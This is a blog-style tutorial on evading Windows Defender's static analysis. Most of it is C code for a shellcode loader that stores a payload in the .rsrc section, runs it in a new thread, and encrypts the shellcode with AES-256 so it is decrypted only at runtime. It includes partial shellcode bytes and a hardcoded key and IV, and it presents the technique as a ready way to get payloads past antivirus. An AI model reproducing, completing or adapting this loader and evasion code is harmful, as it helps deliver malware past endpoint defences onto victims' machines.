Post

Evading Windows Defender Static Anaylsis

Static Analysis

Windows Defender, like most EDRs and AV solutions, has a static analysis component. This component has multiple detection techniques for analyzing suspicious files. The important techniques to keep in mind for evasion are file hashes and signatured code.

File hashes are what they sound like - Defender will compare the file hash of a file to a database of known-bad hashes. If it’s in the database, the file is quarantined. Signatured code involves an actual review of the instructions within the file for known-bad blocks of recognizable shellcode. While relatively simple, this technique can prove to be the first major obstacle for individuals when it comes to evasion.

Fortunately, Windows Defender (and many other AV engines) static analysis techniques can be defeated with some basic malware obfuscation techniques.

Why Your Payload Got Caught

Before we get started, lets talk about why your msfvenom PE payload didn’t work. Everything online and open-source is signatured and hashed to hell by most AV solutions these days. There are certainly tools on GitHub that will help you get the job done, but nothing is going to beat making your own shellcode runner. Basic, custom methods of obfuscating your shellcode (even using msfvenom) has a signficantly better chance of working than something off-the-shelf online.

That being said, let’s talk about how to actually start evading Defender.

Importing and Running Custom Shellcode

The first thing we need to do is just get our program to run custom shellcode. There are plenty of ways to do this but I’ll just be sticking to creating a thread within our malicious process for simplicity. In terms of where we will keep our payload - I have chosen the .rsrc section. This is a preferred choice, but not incredibly relevant to our topic. Just know that we import our payload into a process memory buffer from the .rsrc section with the CloneRsrcPayload() function (if you want to know more, research how to import shellcode/binary files in Visual Studio).

We can use this cookie-cutter C program with Win32 calls to accomplish the following:

  • Copy our shellcode (held in .rsrc) to workable process memory.
  • Open a new thread which executes the payload within the buffer.

Note that I chose to create a RunThread() function to handle executing the buffer as a thread. This is completely optional.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <stdio.h>
#include <Windows.h>
#include "resource.h"

// Clones .rsrc payloads into a working process buffer. Struct for return.
typedef struct RsrcInfo {
	PVOID pWorkBuffer;
	SIZE_T sBufferSize;
}RsrcInfo;

RsrcInfo CloneRsrcPayload()
{
	// Get payload from .rsrc
	HRSRC hRsrc = FindResourceW(NULL, MAKEINTRESOURCEW(IDR_RCDATA1), RT_RCDATA);
	HGLOBAL hGlobal = LoadResource(NULL, hRsrc);
	PVOID pPayload = LockResource(hGlobal);
	SIZE_T sPayloadSize = SizeofResource(NULL, hRsrc);

	// Make working buffer
	PVOID pWorkBuffer = VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	RtlMoveMemory(pWorkBuffer, pPayload, sPayloadSize);

	RsrcInfo ReturnInfo = { .pWorkBuffer = pWorkBuffer, .sBufferSize = sPayloadSize };

	return ReturnInfo;

}

// Just runs a thread given a memory chunk. Returns thread handle.
HANDLE RunThread(PVOID pPayload, SIZE_T sPayloadSize)
{

	DWORD proc = 0;
	BOOL bExecute = VirtualProtect(pPayload, sPayloadSize, PAGE_EXECUTE_READ, &proc);
	HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)pPayload, 0, 0, 0);
	WaitForSingleObject(hThread, -1);

	return hThread;
}

int main()
{
	// Get payload from Rsrc

	RsrcInfo sBufferInfo = CloneRsrcPayload();
	SIZE_T sPayloadSize = sBufferInfo.sBufferSize;
	PVOID pPayload = sBufferInfo.pWorkBuffer;

	// Execute

	RunThread(pPayload, sPayloadSize);

	return EXIT_SUCCESS;
}

Nice!

AES Encryption

While our setup is functional, using most malicious shellcode will instantly get picked up by Defender and the file will be quarantined. Let’s fix that.

One great option is to encrypt our shellcode before hand and decrypt it at runtime. When Defender looks at our encrypted payload, it will just see a bunch of gibberish and be none the wiser. We can use AES-256 to encrypt our payload. Again, there are various methods to accomplish this but a popular one is Tiny-AES-C. Start by copying aes.h and aes.c into your working directory and adding #include "aes.h". You’ll need to comment out some AES-128/156 lines in the header file in order to choose AES-256.

To start, we should intialize a ctx struct necessary for Tiny-AES, import our shellcode, and intiialize some variables to hold our IV and encryption key:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int main()
{
	// struct for Tiny-AES
	struct AES_ctx ctx;
	BYTE pKey[32];                  
	BYTE pIv[16];                               

	// YOUR SHELLCODE HERE!
	unsigned char pPayload[] = {
  0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
  0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,

  ...

  0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41,
  0x89, 0xda, 0xff, 0xd5
	};
	SIZE_T sPayloadSize = sizeof(pPayload);

Next, we can randomly generate some values for our key and IV with a helper function, and print them to the console. With these values we can initialize our ctx struct with the Tiny-AES library:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
VOID GenerateRandomBytes(PBYTE pByte, SIZE_T sSize) {
	for (int i = 0; i < sSize; i++) {
		pByte[i] = (BYTE)rand() % 0xFF;
	}
}


// print the input buffer as a hex char array (c syntax)
VOID PrintHexData(PBYTE Data, SIZE_T Size) {

	printf("======= DUMP ADDRESS 0x%p | SIZE %ld =======\n", Data, Size);

	for (int i = 0; i < Size; i++) {
		if (i < Size - 1) {
			printf("\\x%0.2X", Data[i]);
		}
		else {
			printf("\\x%0.2X", Data[i]);
		}
	}
	printf("\n\n");
...
	srand(time(NULL));                              
	GenerateRandomBytes(pKey, KEYSIZE);            

	srand(time(NULL) ^ pKey[0]);                  
	GenerateRandomBytes(pIv, IVSIZE);

	printf("--> KEY HEX:\n");
	PrintHexData(pKey, KEYSIZE);
	printf("--> IV HEX:\n");
	PrintHexData(pIv, IVSIZE);
	AES_init_ctx_iv(&ctx, pKey, pIv);

Now we are almost ready to encrypt. Recall that AES-256 is a block cipher, so we will need to make sure that our payload length is a multiple of 16 bytes. If it is, we can go ahead and encrypt. If not, we will need to add some null bytes to round it off with a helper function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
BOOL PaddBuffer(IN PBYTE InputBuffer, IN SIZE_T InputBufferSize, OUT PBYTE* OutputPaddedBuffer, OUT SIZE_T* OutputPaddedSize) {

	PBYTE	PaddedBuffer = NULL;
	SIZE_T	PaddedSize = NULL;

	// calculate the nearest number that is multiple of 16 and saving it to PaddedSize
	PaddedSize = InputBufferSize + 16 - (InputBufferSize % 16);
	// allocating buffer of size "PaddedSize"
	PaddedBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, PaddedSize);
	if (!PaddedBuffer) {
		return FALSE;
	}
	// cleaning the allocated buffer
	ZeroMemory(PaddedBuffer, PaddedSize);
	// copying old buffer to new padded buffer
	memcpy(PaddedBuffer, InputBuffer, InputBufferSize);
	//saving results :
	*OutputPaddedBuffer = PaddedBuffer;
	*OutputPaddedSize = PaddedSize;

	return TRUE;
}

...

	if (sPayloadSize % 16 != 0) {
		PVOID pPayload_padded = NULL;
		SIZE_T* sPayloadSize_padded = NULL;
		PaddBuffer(pPayload, sPayloadSize, &pPayload_padded, &sPayloadSize_padded);
		AES_CBC_encrypt_buffer(&ctx, pPayload_padded, sPayloadSize_padded);
		PrintHexData(pPayload_padded, sPayloadSize_padded);
	}
	else {
		AES_CBC_encrypt_buffer(&ctx, pPayload, sPayloadSize);
		PrintHexData(pPayload, sPayloadSize);
	}

Great! Now we are able to generate encrypted shellcode with AES-256. But how do we run it?

Decrypting and Running AES

This is the easy part. Import our encrypted shell code to .rsrc as before and initialize our key and IV:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int main()
{
	struct AES_ctx ctx;

	BYTE pKey[] = {
		0xA7, 0xDE, 0x31, 0x82, 0x24, 0x32, 0x1B, 0x55, 0x35, 0x9B, 0x44, 0xEA, 0x8B, 0x9D, 0x75, 0xF1, 0xE4, 0x8B, 0x04, 0x7E, 0xD1, 0x3F, 0xB0, 0x5F, 0xBD, 0x0E, 0xCC, 0xAE, 0x2B, 0xFC, 0xA0, 0xA2
	};
	BYTE pIv[] = {
	  0xD7, 0x90, 0xE9, 0x42, 0x3B, 0xB4, 0xCD, 0xE8, 0x8F, 0x21, 0x88, 0xEA, 0x2E, 0x96, 0x74, 0x8B
	};

	printf("--> KEY HEX:\n");
	PrintHexData(pKey, 32);
	printf("--> IV HEX:\n");
	PrintHexData(pIv, 16);

	RsrcInfo sBufferInfo = CloneRsrcPayload();
	SIZE_T sPayloadSize = sBufferInfo.sBufferSize;
	PVOID pPayload = sBufferInfo.pWorkBuffer;
	AES_init_ctx_iv(&ctx, pKey, pIv);

Now we just decrypt the buffer and run new thread, and Defender doesn’t have a clue!

1
2
3
4
5
6
7
8
9
10
11
	AES_CBC_decrypt_buffer(&ctx, pPayload, sPayloadSize);
	PrintHexData(pPayload, sPayloadSize);
	
	// Execute

	RunThread(pPayload, sPayloadSize);

	return EXIT_SUCCESS;
}

defender lol defender lol

This post is licensed under CC BY 4.0 by the author.